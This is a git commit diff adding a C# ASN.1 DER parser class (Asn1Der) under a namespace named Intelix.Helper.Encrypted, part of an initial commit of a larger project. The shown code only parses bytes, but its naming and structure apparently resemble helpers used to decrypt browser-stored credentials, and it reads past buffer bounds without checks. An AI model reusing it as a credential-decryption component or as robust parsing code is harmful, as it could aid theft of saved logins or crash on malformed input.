initial commit

2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
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+using System;
+
+namespace Intelix.Helper.Encrypted;
+
+public class Asn1Der
+{
+	public enum Type
+	{
+		Sequence = 48,
+		Integer = 2,
+		OctetString = 4,
+		ObjectIdentifier = 6
+	}
+
+	public Asn1DerObject Parse(byte[] toParse)
+	{
+		Asn1DerObject asn1DerObject = new Asn1DerObject();
+		for (int i = 0; i < toParse.Length; i++)
+		{
+			switch ((Type)toParse[i])
+			{
+			case Type.Sequence:
+			{
+				byte[] array;
+				if (asn1DerObject.Lenght == 0)
+				{
+					asn1DerObject.Type = Type.Sequence;
+					asn1DerObject.Lenght = toParse.Length - (i + 2);
+					array = new byte[asn1DerObject.Lenght];
+				}
+				else
+				{
+					asn1DerObject.Objects.Add(new Asn1DerObject
+					{
+						Type = Type.Sequence,
+						Lenght = toParse[i + 1]
+					});
+					array = new byte[toParse[i + 1]];
+				}
+				int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
+				Array.Copy(toParse, i + 2, array, 0, length);
+				asn1DerObject.Objects.Add(Parse(array));
+				i = i + 1 + toParse[i + 1];
+				break;
+			}
+			case Type.Integer:
+			{
+				asn1DerObject.Objects.Add(new Asn1DerObject
+				{
+					Type = Type.Integer,
+					Lenght = toParse[i + 1]
+				});
+				byte[] array = new byte[toParse[i + 1]];
+				int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
+				Array.Copy(toParse, i + 2, array, 0, length);
+				Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
+				asn1DerObject.Objects[array3.Length - 1].Data = array;
+				i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
+				break;
+			}
+			case Type.OctetString:
+			{
+				asn1DerObject.Objects.Add(new Asn1DerObject
+				{
+					Type = Type.OctetString,
+					Lenght = toParse[i + 1]
+				});
+				byte[] array = new byte[toParse[i + 1]];
+				int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
+				Array.Copy(toParse, i + 2, array, 0, length);
+				Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
+				asn1DerObject.Objects[array4.Length - 1].Data = array;
+				i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
+				break;
+			}
+			case Type.ObjectIdentifier:
+			{
+				asn1DerObject.Objects.Add(new Asn1DerObject
+				{
+					Type = Type.ObjectIdentifier,
+					Lenght = toParse[i + 1]
+				});
+				byte[] array = new byte[toParse[i + 1]];
+				int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
+				Array.Copy(toParse, i + 2, array, 0, length);
+				Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
+				asn1DerObject.Objects[array2.Length - 1].Data = array;
+				i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
+				break;
+			}
+			}
+		}
+		return asn1DerObject;
+	}
+}